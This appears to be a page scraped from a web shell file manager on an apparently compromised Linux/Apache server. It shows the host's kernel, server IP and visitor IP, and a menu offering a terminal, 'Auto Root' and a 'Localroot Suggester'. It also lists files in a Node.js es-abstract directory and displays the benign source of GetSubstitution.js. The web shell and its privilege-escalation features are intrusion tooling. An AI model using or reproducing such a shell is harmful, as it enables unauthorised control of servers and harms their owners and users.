Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.217.80
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
nodejs /
es-abstract /
2020 /
Delete
Unzip
Name
Size
Permission
Date
Action
BigInt
[ DIR ]
drwxr-xr-x
2023-12-23 20:12
Number
[ DIR ]
drwxr-xr-x
2023-12-23 20:12
AbstractEqualityComparison.js
1.83
KB
-rw-r--r--
2022-12-05 08:07
AbstractRelationalComparison.js
2.07
KB
-rw-r--r--
2022-12-05 08:07
AddEntriesFromIterable.js
1.48
KB
-rw-r--r--
2022-12-05 08:07
AdvanceStringIndex.js
983
B
-rw-r--r--
2022-12-05 08:07
ArrayCreate.js
1.61
KB
-rw-r--r--
2022-12-05 08:07
ArraySetLength.js
2.6
KB
-rw-r--r--
2022-12-05 08:07
ArraySpeciesCreate.js
1.32
KB
-rw-r--r--
2022-12-05 08:07
BigIntBitwiseOp.js
1.69
KB
-rw-r--r--
2022-12-05 08:07
BinaryAnd.js
364
B
-rw-r--r--
2022-12-05 08:07
BinaryOr.js
362
B
-rw-r--r--
2022-12-05 08:07
BinaryXor.js
364
B
-rw-r--r--
2022-12-05 08:07
Call.js
623
B
-rw-r--r--
2022-12-05 08:07
CanonicalNumericIndexString.js
654
B
-rw-r--r--
2022-12-05 08:07
CharacterRange.js
782
B
-rw-r--r--
2022-12-05 08:07
CodePointAt.js
1.68
KB
-rw-r--r--
2022-12-05 08:07
CompletePropertyDescriptor.js
989
B
-rw-r--r--
2022-12-05 08:07
CopyDataProperties.js
1.84
KB
-rw-r--r--
2022-12-05 08:07
CreateDataProperty.js
1.25
KB
-rw-r--r--
2022-12-05 08:07
CreateDataPropertyOrThrow.js
734
B
-rw-r--r--
2022-12-05 08:07
CreateHTML.js
927
B
-rw-r--r--
2022-12-05 08:07
CreateIterResultObject.js
432
B
-rw-r--r--
2022-12-05 08:07
CreateListFromArrayLike.js
1.33
KB
-rw-r--r--
2022-12-05 08:07
CreateMethodProperty.js
979
B
-rw-r--r--
2022-12-05 08:07
CreateRegExpStringIterator.js
3.62
KB
-rw-r--r--
2022-12-05 08:07
DateFromTime.js
1.01
KB
-rw-r--r--
2022-12-05 08:07
DateString.js
1.03
KB
-rw-r--r--
2022-12-05 08:07
Day.js
234
B
-rw-r--r--
2022-12-05 08:07
DayFromYear.js
256
B
-rw-r--r--
2022-12-05 08:07
DayWithinYear.js
286
B
-rw-r--r--
2022-12-05 08:07
DaysInYear.js
301
B
-rw-r--r--
2022-12-05 08:07
DefinePropertyOrThrow.js
1.43
KB
-rw-r--r--
2022-12-05 08:07
DeletePropertyOrThrow.js
699
B
-rw-r--r--
2022-12-05 08:07
EnumerableOwnPropertyNames.js
1.09
KB
-rw-r--r--
2022-12-05 08:07
FlattenIntoArray.js
1.71
KB
-rw-r--r--
2022-12-05 08:07
FromPropertyDescriptor.js
450
B
-rw-r--r--
2022-12-05 08:07
Get.js
602
B
-rw-r--r--
2022-12-05 08:07
GetIterator.js
1.68
KB
-rw-r--r--
2022-12-05 08:07
GetMethod.js
663
B
-rw-r--r--
2022-12-05 08:07
GetOwnPropertyKeys.js
829
B
-rw-r--r--
2022-12-05 08:07
GetPrototypeFromConstructor.js
921
B
-rw-r--r--
2022-12-05 08:07
GetSubstitution.js
4.31
KB
-rw-r--r--
2022-12-05 08:07
GetV.js
474
B
-rw-r--r--
2022-12-05 08:07
HasOwnProperty.js
553
B
-rw-r--r--
2022-12-05 08:07
HasProperty.js
517
B
-rw-r--r--
2022-12-05 08:07
HourFromTime.js
382
B
-rw-r--r--
2022-12-05 08:07
InLeapYear.js
510
B
-rw-r--r--
2022-12-05 08:07
InstanceofOperator.js
918
B
-rw-r--r--
2022-12-05 08:07
Invoke.js
715
B
-rw-r--r--
2022-12-05 08:07
IsAccessorDescriptor.js
465
B
-rw-r--r--
2022-12-05 08:07
IsArray.js
123
B
-rw-r--r--
2022-12-05 08:07
IsBigIntElementType.js
194
B
-rw-r--r--
2022-12-05 08:07
IsCallable.js
108
B
-rw-r--r--
2022-12-05 08:07
IsCompatiblePropertyDescriptor.js
367
B
-rw-r--r--
2022-12-05 08:07
IsConcatSpreadable.js
626
B
-rw-r--r--
2022-12-05 08:07
IsConstructor.js
1.12
KB
-rw-r--r--
2022-12-05 08:07
IsDataDescriptor.js
464
B
-rw-r--r--
2022-12-05 08:07
IsExtensible.js
509
B
-rw-r--r--
2022-12-05 08:07
IsGenericDescriptor.js
560
B
-rw-r--r--
2022-12-05 08:07
IsInteger.js
450
B
-rw-r--r--
2022-12-05 08:07
IsNoTearConfiguration.js
467
B
-rw-r--r--
2022-12-05 08:07
IsNonNegativeInteger.js
236
B
-rw-r--r--
2022-12-05 08:07
IsPromise.js
485
B
-rw-r--r--
2022-12-05 08:07
IsPropertyKey.js
207
B
-rw-r--r--
2022-12-05 08:07
IsRegExp.js
545
B
-rw-r--r--
2022-12-05 08:07
IsSharedArrayBuffer.js
461
B
-rw-r--r--
2022-12-05 08:07
IsStringPrefix.js
940
B
-rw-r--r--
2022-12-05 08:07
IsUnclampedIntegerElementType.js
298
B
-rw-r--r--
2022-12-05 08:07
IsUnsignedElementType.js
266
B
-rw-r--r--
2022-12-05 08:07
IterableToList.js
627
B
-rw-r--r--
2022-12-05 08:07
IteratorClose.js
1.45
KB
-rw-r--r--
2022-12-05 08:07
IteratorComplete.js
498
B
-rw-r--r--
2022-12-05 08:07
IteratorNext.js
493
B
-rw-r--r--
2022-12-05 08:07
IteratorStep.js
353
B
-rw-r--r--
2022-12-05 08:07
IteratorValue.js
443
B
-rw-r--r--
2022-12-05 08:07
LengthOfArrayLike.js
495
B
-rw-r--r--
2022-12-05 08:07
MakeDate.js
328
B
-rw-r--r--
2022-12-05 08:07
MakeDay.js
917
B
-rw-r--r--
2022-12-05 08:07
MakeTime.js
698
B
-rw-r--r--
2022-12-05 08:07
MinFromTime.js
396
B
-rw-r--r--
2022-12-05 08:07
MonthFromTime.js
1014
B
-rw-r--r--
2022-12-05 08:07
NumberBitwiseOp.js
757
B
-rw-r--r--
2022-12-05 08:07
NumberToBigInt.js
814
B
-rw-r--r--
2022-12-05 08:07
ObjectDefineProperties.js
1.47
KB
-rw-r--r--
2022-12-05 08:07
OrdinaryCreateFromConstructor.js
827
B
-rw-r--r--
2022-12-05 08:07
OrdinaryDefineOwnProperty.js
2.33
KB
-rw-r--r--
2022-12-05 08:07
OrdinaryGetOwnProperty.js
1.23
KB
-rw-r--r--
2022-12-05 08:07
OrdinaryGetPrototypeOf.js
539
B
-rw-r--r--
2022-12-05 08:07
OrdinaryHasInstance.js
627
B
-rw-r--r--
2022-12-05 08:07
OrdinaryHasProperty.js
531
B
-rw-r--r--
2022-12-05 08:07
OrdinaryObjectCreate.js
1.41
KB
-rw-r--r--
2022-12-05 08:07
OrdinarySetPrototypeOf.js
1.03
KB
-rw-r--r--
2022-12-05 08:07
OrdinaryToPrimitive.js
1.04
KB
-rw-r--r--
2022-12-05 08:07
PromiseResolve.js
457
B
-rw-r--r--
2022-12-05 08:07
QuoteJSONString.js
1.36
KB
-rw-r--r--
2022-12-05 08:07
RegExpCreate.js
643
B
-rw-r--r--
2022-12-05 08:07
RegExpExec.js
887
B
-rw-r--r--
2022-12-05 08:07
RequireObjectCoercible.js
70
B
-rw-r--r--
2022-12-05 08:07
SameValue.js
307
B
-rw-r--r--
2022-12-05 08:07
SameValueNonNumeric.js
635
B
-rw-r--r--
2022-12-05 08:07
SameValueZero.js
223
B
-rw-r--r--
2022-12-05 08:07
SecFromTime.js
402
B
-rw-r--r--
2022-12-05 08:07
Set.js
1.23
KB
-rw-r--r--
2022-12-05 08:07
SetFunctionLength.js
1.04
KB
-rw-r--r--
2022-12-05 08:07
SetFunctionName.js
1.35
KB
-rw-r--r--
2022-12-05 08:07
SetIntegrityLevel.js
1.82
KB
-rw-r--r--
2022-12-05 08:07
SpeciesConstructor.js
844
B
-rw-r--r--
2022-12-05 08:07
SplitMatch.js
874
B
-rw-r--r--
2022-12-05 08:07
StrictEqualityComparison.js
361
B
-rw-r--r--
2022-12-05 08:07
StringCreate.js
1.09
KB
-rw-r--r--
2022-12-05 08:07
StringGetOwnProperty.js
1.35
KB
-rw-r--r--
2022-12-05 08:07
StringPad.js
1.23
KB
-rw-r--r--
2022-12-05 08:07
StringToBigInt.js
581
B
-rw-r--r--
2022-12-05 08:07
SymbolDescriptiveString.js
526
B
-rw-r--r--
2022-12-05 08:07
TestIntegrityLevel.js
1.25
KB
-rw-r--r--
2022-12-05 08:07
TimeClip.js
468
B
-rw-r--r--
2022-12-05 08:07
TimeFromYear.js
261
B
-rw-r--r--
2022-12-05 08:07
TimeString.js
808
B
-rw-r--r--
2022-12-05 08:07
TimeWithinDay.js
247
B
-rw-r--r--
2022-12-05 08:07
ToBigInt.js
631
B
-rw-r--r--
2022-12-05 08:07
ToBigInt64.js
948
B
-rw-r--r--
2022-12-05 08:07
ToBigUint64.js
703
B
-rw-r--r--
2022-12-05 08:07
ToBoolean.js
130
B
-rw-r--r--
2022-12-05 08:07
ToDateString.js
498
B
-rw-r--r--
2022-12-05 08:07
ToIndex.js
657
B
-rw-r--r--
2022-12-05 08:07
ToInt16.js
260
B
-rw-r--r--
2022-12-05 08:07
ToInt32.js
173
B
-rw-r--r--
2022-12-05 08:07
ToInt8.js
247
B
-rw-r--r--
2022-12-05 08:07
ToInteger.js
331
B
-rw-r--r--
2022-12-05 08:07
ToLength.js
332
B
-rw-r--r--
2022-12-05 08:07
ToNumber.js
2.08
KB
-rw-r--r--
2022-12-05 08:07
ToNumeric.js
550
B
-rw-r--r--
2022-12-05 08:07
ToObject.js
334
B
-rw-r--r--
2022-12-05 08:07
ToPrimitive.js
287
B
-rw-r--r--
2022-12-05 08:07
ToPropertyDescriptor.js
1.42
KB
-rw-r--r--
2022-12-05 08:07
ToPropertyKey.js
405
B
-rw-r--r--
2022-12-05 08:07
ToString.js
396
B
-rw-r--r--
2022-12-05 08:07
ToUint16.js
564
B
-rw-r--r--
2022-12-05 08:07
ToUint32.js
175
B
-rw-r--r--
2022-12-05 08:07
ToUint8.js
578
B
-rw-r--r--
2022-12-05 08:07
ToUint8Clamp.js
522
B
-rw-r--r--
2022-12-05 08:07
TrimString.js
804
B
-rw-r--r--
2022-12-05 08:07
Type.js
297
B
-rw-r--r--
2022-12-05 08:07
UTF16DecodeString.js
753
B
-rw-r--r--
2022-12-05 08:07
UTF16DecodeSurrogatePair.js
776
B
-rw-r--r--
2022-12-05 08:07
UTF16Encoding.js
700
B
-rw-r--r--
2022-12-05 08:07
UnicodeEscape.js
839
B
-rw-r--r--
2022-12-05 08:07
ValidateAndApplyPropertyDescriptor.js
5.12
KB
-rw-r--r--
2022-12-05 08:07
WeekDay.js
208
B
-rw-r--r--
2022-12-05 08:07
YearFromTime.js
407
B
-rw-r--r--
2022-12-05 08:07
abs.js
207
B
-rw-r--r--
2022-12-05 08:07
floor.js
217
B
-rw-r--r--
2022-12-05 08:07
modulo.js
168
B
-rw-r--r--
2022-12-05 08:07
msFromTime.js
253
B
-rw-r--r--
2022-12-05 08:07
thisBigIntValue.js
551
B
-rw-r--r--
2022-12-05 08:07
thisBooleanValue.js
367
B
-rw-r--r--
2022-12-05 08:07
thisNumberValue.js
390
B
-rw-r--r--
2022-12-05 08:07
thisStringValue.js
361
B
-rw-r--r--
2022-12-05 08:07
thisSymbolValue.js
514
B
-rw-r--r--
2022-12-05 08:07
thisTimeValue.js
66
B
-rw-r--r--
2022-12-05 08:07
Save
Rename
'use strict'; var GetIntrinsic = require('get-intrinsic'); var $TypeError = GetIntrinsic('%TypeError%'); var callBound = require('call-bind/callBound'); var regexTester = require('safe-regex-test'); var every = require('../helpers/every'); var $charAt = callBound('String.prototype.charAt'); var $strSlice = callBound('String.prototype.slice'); var $indexOf = callBound('String.prototype.indexOf'); var $parseInt = parseInt; var isDigit = regexTester(/^[0-9]$/); var inspect = require('object-inspect'); var Get = require('./Get'); var IsArray = require('./IsArray'); var IsInteger = require('./IsInteger'); var ToObject = require('./ToObject'); var ToString = require('./ToString'); var Type = require('./Type'); var canDistinguishSparseFromUndefined = 0 in [undefined]; // IE 6 - 8 have a bug where this returns false var isStringOrHole = function (capture, index, arr) { return Type(capture) === 'String' || (canDistinguishSparseFromUndefined ? !(index in arr) : Type(capture) === 'Undefined'); }; // http://262.ecma-international.org/9.0/#sec-getsubstitution // eslint-disable-next-line max-statements, max-params, max-lines-per-function module.exports = function GetSubstitution(matched, str, position, captures, namedCaptures, replacement) { if (Type(matched) !== 'String') { throw new $TypeError('Assertion failed: `matched` must be a String'); } var matchLength = matched.length; if (Type(str) !== 'String') { throw new $TypeError('Assertion failed: `str` must be a String'); } var stringLength = str.length; if (!IsInteger(position) || position < 0 || position > stringLength) { throw new $TypeError('Assertion failed: `position` must be a nonnegative integer, and less than or equal to the length of `string`, got ' + inspect(position)); } if (!IsArray(captures) || !every(captures, isStringOrHole)) { throw new $TypeError('Assertion failed: `captures` must be a List of Strings, got ' + inspect(captures)); } if (Type(replacement) !== 'String') { throw new $TypeError('Assertion failed: `replacement` must be a String'); } var tailPos = position + matchLength; var m = captures.length; if (Type(namedCaptures) !== 'Undefined') { namedCaptures = ToObject(namedCaptures); // eslint-disable-line no-param-reassign } var result = ''; for (var i = 0; i < replacement.length; i += 1) { // if this is a $, and it's not the end of the replacement var current = $charAt(replacement, i); var isLast = (i + 1) >= replacement.length; var nextIsLast = (i + 2) >= replacement.length; if (current === '$' && !isLast) { var next = $charAt(replacement, i + 1); if (next === '$') { result += '$'; i += 1; } else if (next === '&') { result += matched; i += 1; } else if (next === '`') { result += position === 0 ? '' : $strSlice(str, 0, position - 1); i += 1; } else if (next === "'") { result += tailPos >= stringLength ? '' : $strSlice(str, tailPos); i += 1; } else { var nextNext = nextIsLast ? null : $charAt(replacement, i + 2); if (isDigit(next) && next !== '0' && (nextIsLast || !isDigit(nextNext))) { // $1 through $9, and not followed by a digit var n = $parseInt(next, 10); // if (n > m, impl-defined) result += n <= m && Type(captures[n - 1]) === 'Undefined' ? '' : captures[n - 1]; i += 1; } else if (isDigit(next) && (nextIsLast || isDigit(nextNext))) { // $00 through $99 var nn = next + nextNext; var nnI = $parseInt(nn, 10) - 1; // if nn === '00' or nn > m, impl-defined result += nn <= m && Type(captures[nnI]) === 'Undefined' ? '' : captures[nnI]; i += 2; } else if (next === '<') { // eslint-disable-next-line max-depth if (Type(namedCaptures) === 'Undefined') { result += '$<'; i += 2; } else { var endIndex = $indexOf(replacement, '>', i); // eslint-disable-next-line max-depth if (endIndex > -1) { var groupName = $strSlice(replacement, i + '$<'.length, endIndex); var capture = Get(namedCaptures, groupName); // eslint-disable-next-line max-depth if (Type(capture) !== 'Undefined') { result += ToString(capture); } i += ('<' + groupName + '>').length; } } } else { result += '$'; } } } else { // the final $, or else not a $ result += $charAt(replacement, i); } } return result; };